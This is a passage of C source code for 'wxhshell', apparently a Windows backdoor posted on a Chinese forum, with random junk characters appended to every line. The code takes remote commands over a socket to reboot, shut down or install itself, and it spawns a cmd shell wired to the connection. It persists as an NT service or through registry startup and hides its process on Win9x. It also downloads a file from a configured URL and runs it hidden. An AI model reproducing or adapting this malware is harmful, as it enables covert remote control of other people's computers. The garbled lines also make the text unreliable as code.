  // 帮助 CYYU 7  
  case '?': { >Wg hn:^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ls)%c  
    break; %vi<Ase g  
  } As<bL:>dE  
  // 安装 Jo23P.#<  
  case 'i': { 1|-Dj|  
    if(Install()) 8E]F$.6U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RhLVg~x  
    else 3I-MdApT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q;)JISf.  
    break; 0v$~90)  
    } K0Fh%Y4)QH  
  // 卸载 h>OfOx/{q9  
  case 'r': { G+|` 2an  
    if(Uninstall()) 'Ne@e)s9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1c{DY  
    else WU=59gB+jL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mvT(.R ..s  
    break; dL )<% o  
    } l8#EM1g-  
  // 显示 wxhshell 所在路径 ]f9Cx\d:k  
  case 'p': { `$ aZ0+  
    char svExeFile[MAX_PATH]; WbqWG^W  
    strcpy(svExeFile,"\n\r"); e-#BDN(O  
      strcat(svExeFile,ExeFile); ]B3=lc"  
        send(wsh,svExeFile,strlen(svExeFile),0); YhE+W  
    break; WE.{p>  
    } ll.N^y;a  
  // 重启 Jx7C'~,J  
  case 'b': { H0`]V6+<f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -0{r>,&Mm  
    if(Boot(REBOOT)) #S*/bao#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |\IN.W[EL  
    else { K<Iv:5-2  
    closesocket(wsh); 4\u1TYR  
    ExitThread(0); "x*e gI  
    } $jI3VB  
    break; >$7v ;Q  
    } f"SD/]q-  
  // 关机 m\r@@!  
  case 'd': { ^c4@(]v'G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :^WKT  
    if(Boot(SHUTDOWN)) BB*f4z$Y%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~8P!XAU56%  
    else { z(Pe,zES  
    closesocket(wsh); .e=:RkI,  
    ExitThread(0); ADP%QTdqFJ  
    } Et/\xL  
    break; D rHV G  
    } *%fi/bimG  
  // 获取shell v>Yb/{A  
  case 's': { <[\`qX  
    CmdShell(wsh); v|%Z+w  
    closesocket(wsh); '~[d=fwH  
    ExitThread(0); au+kNF|Q  
    break; dDGgvi|[Mz  
  } EwC{R`  
  // 退出 u:gN?O/G  
  case 'x': { 9- YwkK#z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MmnOHN@.  
    CloseIt(wsh); B9$jSD  
    break; lpeEpI/gM  
    } }v*G_}^  
  // 离开 ,t9^j3Ixg  
  case 'q': { y 4I6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :'3XAntZA  
    closesocket(wsh); X=!^] 3zH  
    WSACleanup(); G{ sOR  
    exit(1); ^*8G8'k;$  
    break; 4C-jlm)V  
        } E2@65b$  
  } Q<'nE  
  } dzsmIV+  
v7jq@#-   
  // 提示信息 P&)xz7wG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1H@>/QC  
} +"cq(Y@  
  } 9N<<{rQ,F  
o-{[|/)Tk  
  return; Ov4y %Pj  
} [los dnH^?  
-o[x2u~n\  
// shell模块句柄 y8L D7<1u  
int CmdShell(SOCKET sock) wrbLDod /  
{ Z&4&-RCi  
STARTUPINFO si; WDc+6/<  
ZeroMemory(&si,sizeof(si)); FsV'Cu@!U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WD2]&g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pP?MWe Eg  
PROCESS_INFORMATION ProcessInfo; KJ=6n%6  
char cmdline[]="cmd"; ^xHTWg%9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v'qG26  
  return 0; Co9QW/'i  
} ^ZhG>L*  
 fA<[f  
// 自身启动模式 (m.ob+D  
int StartFromService(void) 8a="/J  
{ XKttZOiGT  
typedef struct i;jw\ed  
{ u7[ykyV  
  DWORD ExitStatus; QP)pgAc  
  DWORD PebBaseAddress; %Nhx;{  
  DWORD AffinityMask; ,TPISs  
  DWORD BasePriority; g[I b,la_a  
  ULONG UniqueProcessId; ang~<  
  ULONG InheritedFromUniqueProcessId; Xr2ou5zAn  
}   PROCESS_BASIC_INFORMATION; . DR<Te  
%K` % *D  
PROCNTQSIP NtQueryInformationProcess; J'fQW<T4wU  
]2'na?q9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #u"k~La  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j>x-"9N  
T[uiPs /xD  
  HANDLE             hProcess; !z<%GQ CT  
  PROCESS_BASIC_INFORMATION pbi; 9C[ywp  
[}8|R0KF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2?,EzBeal  
  if(NULL == hInst ) return 0; "D'B3; uWK  
I8/DR z$A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #hf ak  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \2}bi:e 6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); te !S09(  
<]4i`6{v  
  if (!NtQueryInformationProcess) return 0; ;F#7Px(q  
?) [EO(D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D <&X_  
  if(!hProcess) return 0; 9h%?QC  
(+u39NQV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J-) XQDD  
%Gj8F4{  
  CloseHandle(hProcess); '|*?*6q  
Yd=a}T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9^Whg ~{  
if(hProcess==NULL) return 0; >teO m?@U  
)m{Ye0!RD  
HMODULE hMod; AUNQA  
char procName[255]; $m+sNEAa  
unsigned long cbNeeded; UIAj]  
x-<)\L&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gV`=jAE_  
[],1lRYI9_  
  CloseHandle(hProcess); 13%t"-@bh  
^;maotHn  
if(strstr(procName,"services")) return 1; // 以服务启动 DUe&r,(4O  
E)7F\w  
  return 0; // 注册表启动 S:q3QgU=X  
} .G(llA}  
@qjfZH@  
// 主模块 ;9ly'<up  
int StartWxhshell(LPSTR lpCmdLine) nJ"YIT1K]p  
{ s^|.Zr;,>  
  SOCKET wsl; ^Q ps> A(  
BOOL val=TRUE; nF4a-H&Fo  
  int port=0; .OqSch|  
  struct sockaddr_in door; Qb; d:@9  
M=*bh5t%]  
  if(wscfg.ws_autoins) Install(); xIGfM>uq  
''^Y>k  
port=atoi(lpCmdLine); "/6:6`J  
rs*Fy@  
if(port<=0) port=wscfg.ws_port; K ryo}  
ZA9sTc[ g  
  WSADATA data; )d-.M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :%AL\ n  
;Y mTw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZP$-uaa-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ND,Kldji  
  door.sin_family = AF_INET; zBp{K@U[|M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U{$1[,f  
  door.sin_port = htons(port); EVUq--)~  
3ZZV<SS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q33"u/-v  
closesocket(wsl); %#Z/2<_  
return 1; lR`'e0Lq  
} qdG~!h7j  
h:)Ci!D;  
  if(listen(wsl,2) == INVALID_SOCKET) { 7GS V  
closesocket(wsl); 9cx =@  
return 1; j:&4-K};Z`  
} 'K*AV7>E  
  Wxhshell(wsl); OxtOd\0$  
  WSACleanup(); l|+BC  
?D)<,  
return 0; TLf9>= OVh  
#:|+XLL  
} 9F- )r'  
?$Wn!"EC8  
// 以NT服务方式启动 Z!&Rr~i <  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G"59cv8z4R  
{ KkMay  
DWORD   status = 0; CBKkBuKuk  
  DWORD   specificError = 0xfffffff; (ihP `k-.  
<{:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8dOo Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c$,_>tcP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Lru-u:  
  serviceStatus.dwWin32ExitCode     = 0; BH@)QVs-  
  serviceStatus.dwServiceSpecificExitCode = 0; X$b={]b  
  serviceStatus.dwCheckPoint       = 0; ORWm C!  
  serviceStatus.dwWaitHint       = 0; &G>(9  
SL&hJs4c'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H{c?lT  
  if (hServiceStatusHandle==0) return; Tv]<SI<B[  
LaIJ1jf  
status = GetLastError(); 3q:{1rc  
  if (status!=NO_ERROR) y3;q_4.  
{ DtWwG C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0g<K[mPr7  
    serviceStatus.dwCheckPoint       = 0; uw7{>9  
    serviceStatus.dwWaitHint       = 0; V*$L;xbC|  
    serviceStatus.dwWin32ExitCode     = status; !b-bP,q  
    serviceStatus.dwServiceSpecificExitCode = specificError; Na,_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ` C+HE$B  
    return; ixh47M  
  } O0*e)i8  
YEx)"t8E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "$5\,  
  serviceStatus.dwCheckPoint       = 0;  `}no9$l~  
  serviceStatus.dwWaitHint       = 0; Hj1 EGCA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b~C$R[S  
} q 'a  
"?GebA  
// 处理NT服务事件,比如:启动、停止 qG9+/u)\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F{\gc|!i  
{ 0ZPV' `KGp  
switch(fdwControl) 9kY[j2,+  
{ 8g7,2f/ }  
case SERVICE_CONTROL_STOP: kK~IwA  
  serviceStatus.dwWin32ExitCode = 0; ?vGf fMm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5lJ )(|_  
  serviceStatus.dwCheckPoint   = 0; ?68uS;  
  serviceStatus.dwWaitHint     = 0; :Ze+%d=  
  { :y,v&Kk#T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8Chu"PM%-J  
  } Ei@M$Fd  
  return; hvt@XZT  
case SERVICE_CONTROL_PAUSE: m>e3vu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dYojm1MQ  
  break; *NSlo^R-[  
case SERVICE_CONTROL_CONTINUE: pY^9l3y^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l t]B#, '  
  break; F X1ZG!  
case SERVICE_CONTROL_INTERROGATE: gCVryB@z2  
  break; Y"e EkT\  
}; ]yX@'f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D;F{1[s(  
} fd8#Ng"1  
L8vOBI7N  
// 标准应用程序主函数 -#A:`/22  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c;I, O  
{ +MO E  
gKb0)4 AK  
// 获取操作系统版本 88a<{5 :z  
OsIsNt=GetOsVer(); e}cnX`B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hwe)Tsh e  
s3lwu :4f  
  // 从命令行安装 @#b0T:+v'  
  if(strpbrk(lpCmdLine,"iI")) Install(); mg+k'Myo+  
~HUZ#rUHm>  
  // 下载执行文件 9 K  
if(wscfg.ws_downexe) { K2/E#}/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f!-Sz/c#  
  WinExec(wscfg.ws_filenam,SW_HIDE); Gwd{#7FM`  
} HrqF![_  
XqR{.jF.  
if(!OsIsNt) { r.FLGD U  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~k4W<   
HideProc(); GZ0aOpUWVq  
StartWxhshell(lpCmdLine); dNV v4{S  
} s"0b%0?A  
else o;-<|W>  
  if(StartFromService()) }Pg' vJW  
  // 以服务方式启动 0v"&G<J  
  StartServiceCtrlDispatcher(DispatchTable); Wc#:f 8dr  
else Ha ZFxh-(  
  // 普通方式启动 bEr.nF  
  StartWxhshell(lpCmdLine); %f[Ep 3D  
D?+ RJs  
return 0; 8tWE=8<  
}
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只看该作者 1 发表于: 2006-10-10
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